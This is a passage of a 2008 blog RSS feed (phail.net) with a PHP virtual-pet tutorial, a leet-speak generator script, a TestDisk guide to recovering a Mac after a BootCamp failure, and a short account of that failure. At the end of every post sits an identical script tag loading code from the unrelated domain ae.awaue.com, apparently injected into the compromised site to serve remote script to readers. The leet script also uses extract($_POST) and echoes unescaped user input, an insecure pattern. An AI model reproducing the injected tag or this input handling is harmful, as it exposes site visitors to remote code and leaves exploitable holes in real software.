<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Fullness: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; Health: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; Age: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/p&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Alrighty, this is a fun one.  We&#8217;re pretty much giving a little illustion that there&#8217;s time with our little pet.  We&#8217;re decreasing it&#8217;s fullness by 10% plus 5 (so it <i>can</i> die eventually), decreasing it&#8217;s hunger by a random percentage between 10% and 25% plus 2 (same reason as fullness), and using the php function <b>ceil</b> to round the numbers up so they are whole numbers.  We&#8217;re then increasing age by one count (a day perhaps?), making the text color gray, and echo&#8217;ing out what happened to the screen.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Killed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span> <span style="color: #339933;">&lt;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span> <span style="color: #339933;">&lt;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;p style='color:red;'&gt;Your pet, &lt;b&gt;&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/b&gt;, is now in pet heaven.&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dead</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>This function checks to see if the pet has died due to hunger and health failure.  Once it&#8217;s fullness or health reach 0 or lower, the pet &#8220;goes to a better place&#8221;. <img src='http://phail.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />   Notice that it&#8217;s variable $dead is set true.  This will be used for exiting the loop later on.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&#125;</span></div></div>
<p>Close up our class and we&#8217;re ready for the main part: The Loop!</p>
<p>We&#8217;re going to be using a loop to simulate a created pet&#8217;s life.  This loop will keep going as long as the pet is alive, and stop when it dies.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//Demonstrate the Pet class!</span><br />
<span style="color: #000088;">$Fluffy</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Pet<span style="color: #339933;">;</span><br />
<span style="color: #000088;">$Fluffy</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">SetName</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Fluffy The Sheep&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>We&#8217;ve created our pet and set his name to &#8220;Fluffy The Sheep&#8221;.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$Fluffy</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">dead</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/rand"><span style="color: #990000;">rand</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$Fluffy</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Feed</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000088;">$Fluffy</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">PassTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$Fluffy</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Killed</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Is our poor pet deceased?</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>The final part is the loop.  Like I said before, the loop keeps going as long as the pet is alive.  Once it is dead (determined by the Killed() function), it&#8217;s state changes and the loop exits.</p>
<p>And there you have it! Try running the program and see your little pet in action. Feel free to also customize the experience (name it!).  I hope you were able to learn something new out of this. <img src='http://phail.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />   Happy coding!</p>
<p>(By the way, using these settings my pet lived to be around 12-14 age.)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/04/21/php-class-practice-creating-a-simple-pet-script/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>My Little 1337 (leet) Speak Generator</title>
		<link>http://phail.net/2008/04/15/my-little-1337-leet-speak-generator/</link>
		<comments>http://phail.net/2008/04/15/my-little-1337-leet-speak-generator/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 18:24:06 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Codes & Scripts]]></category>
		<category><![CDATA[1337]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[leet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://phail.net/?p=9</guid>
		<description><![CDATA[For fun in class the other day, I wrote a little &#8220;1337&#8243; speak generator.  It&#8217;s written in PHP, and it consists of just one small script page.  (It has also come to my attention that there are various degrees of 1337, so I would consider my translation to be somewhat advanced.  1337 translation help from [...]]]></description>
			<content:encoded><![CDATA[<p>For fun in class the other day, I wrote a little &#8220;1337&#8243; speak generator.  It&#8217;s written in PHP, and it consists of just one small script page.  (It has also come to my attention that there are various degrees of 1337, so I would consider my translation to be somewhat advanced.  1337 translation help from Wikipedia.)</p>
<p>Try it <a title="1337!!!11" href="http://phail.net/i-s/1337.php" target="_blank">here</a>.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">/* Leet (1337) Speak generator! */</span><br />
<span style="color: #666666; font-style: italic;">/* Takes ordinary words and turns them to computer geek gibberish. */</span><br />
<br />
<span style="color: #666666; font-style: italic;">//Lets be able to use all those Post variables easily.</span><br />
<a href="http://www.php.net/extract"><span style="color: #990000;">extract</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//Convert the text?</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$to_convert</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$old</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$to_convert</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Keep old text</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$find</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'a'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'b'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'c'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'d'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'e'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'f'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'g'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'h'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'i'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'j'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'k'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'l'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'m'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'n'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'o'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'p'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'q'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'r'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'s'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'t'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'u'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'v'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'w'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'x'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'y'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'z'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$repl</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'4'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'8'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&amp;copy;&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'[)'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'3'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'|='</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'6'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'#'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'1'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'_|'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'|&lt; '</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'1'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'|v|'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'N'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'|*'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'Q'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'R'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'5'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'7'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'(_)'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'V'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'VV'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&gt;&lt; '</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'Y'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'2'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$to_convert</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$find</span><span style="color: #339933;">,</span><span style="color: #000088;">$repl</span><span style="color: #339933;">,</span><a href="http://www.php.net/strtolower"><span style="color: #990000;">strtolower</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$to_convert</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;p&gt;&lt;b&gt;&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/nl2br"><span style="color: #990000;">nl2br</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$to_convert</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&lt;/b&gt;&lt;br /&gt;(&quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/nl2br"><span style="color: #990000;">nl2br</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/stripslashes"><span style="color: #990000;">stripslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$old</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;)&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #666666; font-style: italic;">//No text to convert, must be the Main Page.</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;form action='<span style="color: #006699; font-weight: bold;">$PHP_SELF</span>' method='post'&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Text to be converted:&lt;br /&gt;&lt;textarea id='to_convert' name='to_convert' rows='20' cols='35'&gt;&lt;/textarea&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;br /&gt;&lt;input type='submit' value='1337 speak!'/&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/form&gt;&quot;</span><span style="color: #339933;">;</span></div></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/04/15/my-little-1337-leet-speak-generator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BootCamp/SP1 White Screen of Death: A Solution</title>
		<link>http://phail.net/2008/04/13/bootcampsp1-white-screen-of-death-a-solution/</link>
		<comments>http://phail.net/2008/04/13/bootcampsp1-white-screen-of-death-a-solution/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 00:46:32 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Bugs and Fixes]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Boot]]></category>
		<category><![CDATA[Camp]]></category>
		<category><![CDATA[Fix]]></category>
		<category><![CDATA[Solution]]></category>

		<guid isPermaLink="false">http://phail.net/?p=5</guid>
		<description><![CDATA[Like I mentioned in my previous post, I did end up fixing my iMac after the mistake of using a Service Pack 1 installation disc of Windows XP instead of a Service Pack 2 disc.  I also managed to do this without a single trip to the Apple store, and without erasing my hard drive. [...]]]></description>
			<content:encoded><![CDATA[<p>Like I mentioned in my previous post, I did end up fixing my iMac after the mistake of using a Service Pack 1 installation disc of Windows XP instead of a Service Pack 2 disc.  I also managed to do this without a single trip to the Apple store, and without erasing my hard drive. Here&#8217;s how I did it.</p>
<p><strong><em>Disclaimer:</em></strong><em> This guide is a combination of two tutorials I have read regarding the subject, each somewhat different, but taking the useful parts of each to create a better solution.  <strong>I am writing this guide to see if I can help others in a similar situation, however I cannot be responsible for anything that happens as a result of it.</strong></em><em>  All I can say is that this worked for me, and you should consider your options before trying anything.</em></p>
<p><strong>The Situation:</strong></p>
<ul>
<li>You recently used a service pack 1 disc of Windows XP with BootCamp on Leopard.</li>
<li>When your computer restarts, your screen is white/blank; nothing happens except Apple noise when turned on.</li>
<li>You have no real options to do anything; aka booting from disc, single user mode, disc selection, etc.</li>
<li>Upon restart and holding the option key, you see your mouse, but the computer freezes shortly after.</li>
</ul>
<p>If your situation sounds like this, hopefully this might be of help to you.</p>
<p><strong>Needed Supplies:</strong></p>
<ol>
<li>A FireWire (iLink) cable. (Male to Male connector; I used 6-pin version, bought at MicroCenter for about $20)</li>
<li>Another (working) Mac <strong>with Leopard</strong> and a FireWire port. (Hopefully this isn&#8217;t hard to find for you&#8230; Maybe ask some friends?  I&#8217;ve also read about people who have used an External Harddrive that connects through FireWire with Leopard installed on it)</li>
<li>A really great program called TestDisk. (Use from the working computer; You can find this program <a title="TestDisk" href="http://www.cgsecurity.org/wiki/TestDisk" target="_blank">here</a>, and don&#8217;t worry, it&#8217;s free.)</li>
</ol>
<p>That should be all you need. When you&#8217;re ready, <em>cautiously</em> being the steps below.</p>
<p><strong>What to Do:</strong></p>
<ol>
<li>Turn off both the working and non-working computers.</li>
<li>Turn the <strong>working</strong> computer on while holding the T-key.  If successful, you should see the FireWire symbol floating around the screen, indicating that you are in Target Disc Mode.</li>
<li>Now turn on the <strong>non-working</strong> computer, and hold the Option-key.  After a few seconds you should see your mouse and an icon that Idenitifies the other computer&#8217;s connection to you.  <strong>Quickly click that icon before your computer freezes!</strong> (Both the Icon <em>and</em> the arrow beneath it I&#8217;d say) (Also, don&#8217;t worry just yet if nothing shows up except the mouse when you restart holding Option-key.  The same thing happened to me, but just keep trying it over and over until you see it.)</li>
<li>Once you&#8217;ve clicked it however many times and the computer has frozen, turn off the non-working computer and restart it once more.  The computer should boot up using the hard drive of the working computer!</li>
<li>When your computer logs in, it will say that there is a &#8220;DIsk that cannot be read&#8221; and give you the options to Initialize, Ignore or Eject.  Choose Ignore. (This is your non-working harddrive FYI)</li>
<li>Navigate to Applications-&gt;Utilities-&gt;Terminal and open Terminal.</li>
<li>You should have downloaded TestDisk as mentioned in the supplies list (if not, download it now!), so you must change directories to the TestDisk directory in Terminal.<br />
<strong>Type <em>cd</em> followed by a space, and drag the downloaded TestDisk directory onto the terminal. </strong>Press Enter/Return. If that worked, you should be in the TestDisk directory.</li>
<li>Now you must begin TestDisk.<br />
<strong>Type sudo ./testdisk</strong></li>
<li>TestDisk should now be opened.  If you need to, make the terminal window bigger like it says.<br />
You&#8217;ll be given a few options&#8230;</li>
<li>Choose &#8220;Create&#8221; for the log file.</li>
<li>Select your HardDrive. (Typically /dev/disk0)</li>
<li>Choose &#8220;EFI_GPT&#8221;</li>
<li>Choose &#8220;Analyse&#8221;</li>
<li>Choose &#8220;Quick Search&#8221;</li>
<li>It&#8217;ll now be searching and will show progress and such; wait for it to complete.  When it&#8217;s done, check the listed partitions for accuracy.<br />
You should have one labeled EFI (about 200MB in size), one labeled BOOTCAMP, and one for for Mac that&#8217;s the largest.<br />
If that&#8217;s correct and you feel confident about it, press enter to continue.</li>
<li>Choose &#8220;Write&#8221; and follow any instructions.  This will write your hard drive partition map.</li>
<li>End the TestDisk program. (Quit)<br />
When I quit the program, my drives were on my Desktop. (Macintosh HD, EFI, and BOOTCAMP) If yours aren&#8217;t, I would try using TestDisk again.</li>
<li>Shut down the non-working computer, and then turn off the other one that&#8217;s connected through FireWire and remove the cable connecting them.</li>
<li>Start up the non-working machine, and it should work alright now and startup. (At least that&#8217;s how mine was)</li>
<li>When you turn on the computer and login, you&#8217;ll notice the other two disks (EFI and BOOTCAMP) are on your Desktop as well as Macintosh HD. <strong>(Optional)</strong> To fix this, I just opened up Disk Utility (Applications-&gt;Utilities), selected my hard drive, went to the Partition tab, and hit the &#8211; (Minus) button for the EFI and BOOTCAMP drives.  I then dragged my &#8220;Macintosh HD&#8221; partition&#8217;s bottom-right corner to fill the whole space.</li>
</ol>
<div>And there you have it.  If you&#8217;ve followed everything and you&#8217;ve gotten your Mac back in working condition, then congratulations!<br />
 </div>
<div><strong>Credits:</strong> Thanks to Dave (Euphoria922) from the Apple support forum for the majority of the technical steps mentioned in this article (<a title="Original post" href="http://discussions.apple.com/thread.jspa?messageID=6735677&amp;#6735677" target="_blank">original post here</a>) and to the various other people who wrote the posts that I did my research on.</div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/04/13/bootcampsp1-white-screen-of-death-a-solution/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>BootCamp + Windows XP SP1 = Epic Phail</title>
		<link>http://phail.net/2008/04/10/bootcamp-windows-xp-sp1-epic-phail/</link>
		<comments>http://phail.net/2008/04/10/bootcamp-windows-xp-sp1-epic-phail/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 18:26:16 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Ramblings]]></category>
		<category><![CDATA[20"]]></category>
		<category><![CDATA[Aluminum]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Boot]]></category>
		<category><![CDATA[Camp]]></category>
		<category><![CDATA[Dead]]></category>
		<category><![CDATA[Duo]]></category>
		<category><![CDATA[Fix]]></category>
		<category><![CDATA[iMac]]></category>
		<category><![CDATA[Intel]]></category>
		<category><![CDATA[Leopard]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Problem]]></category>
		<category><![CDATA[Screen]]></category>
		<category><![CDATA[Solution]]></category>
		<category><![CDATA[SP1]]></category>
		<category><![CDATA[White]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[XP]]></category>

		<guid isPermaLink="false">http://phail.net/?p=3</guid>
		<description><![CDATA[Well, unfortunately for me I ran across a problem while using my gorgeous 20-inch aluminum iMac Intel Duo I purchased somewhat recently.  I decided that I would install Windows XP through BootCamp, even though I already had Parallels with XP on it. (What was I thinking?)  So I start it up, get the installation going, [...]]]></description>
			<content:encoded><![CDATA[<p>Well, unfortunately for me I ran across a problem while using my gorgeous 20-inch aluminum iMac Intel Duo I purchased somewhat recently.  I decided that I would install Windows XP through BootCamp, even though I already had Parallels with XP on it. (What was I thinking?)  So I start it up, get the installation going, but when I go to pick the partition, it was looked quite odd to me seeing that there was only one partition and it was much larger than I set BootCamp to give Windows.  So, I exited thinking I&#8217;d avoid problems.</p>
<p>Wrong.</p>
<p>Upon restarting the computer, it was rendered nearly useless. The only thing that I saw was a blank white screen along with the familiar sound of the Apple start-up noise. I pretty much panicked.  It wouldn&#8217;t load from CD, it wouldn&#8217;t recognize anything (including any operating system whether it be Windows or Mac) and to make it even worse, there seemed to be very little help available online to help fix my problem.  So there sat my Mac; a very pretty paperweight.</p>
<p>For the next day and a half I searched the Internet vigorously for some kind of solution.  I did manage to find two useful articles.  I took the two articles and sort of combined them to fix my Mac.</p>
<p>From what I can tell now, it is a problem with BootCamp and SP1 where it deletes or corrupts the partition map.  Once I can put everything together, I&#8217;ll post an in-depth guide to fixing your Mac if it is experiencing a problem like I&#8217;ve had.</p>
<p>Oh, and for the record, I still and always have loved Macs, and this doesn&#8217;t change that.  If anything it brings me closer to my machine. <img src='http://phail.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div></div>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/04/10/bootcamp-windows-xp-sp1-epic-phail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
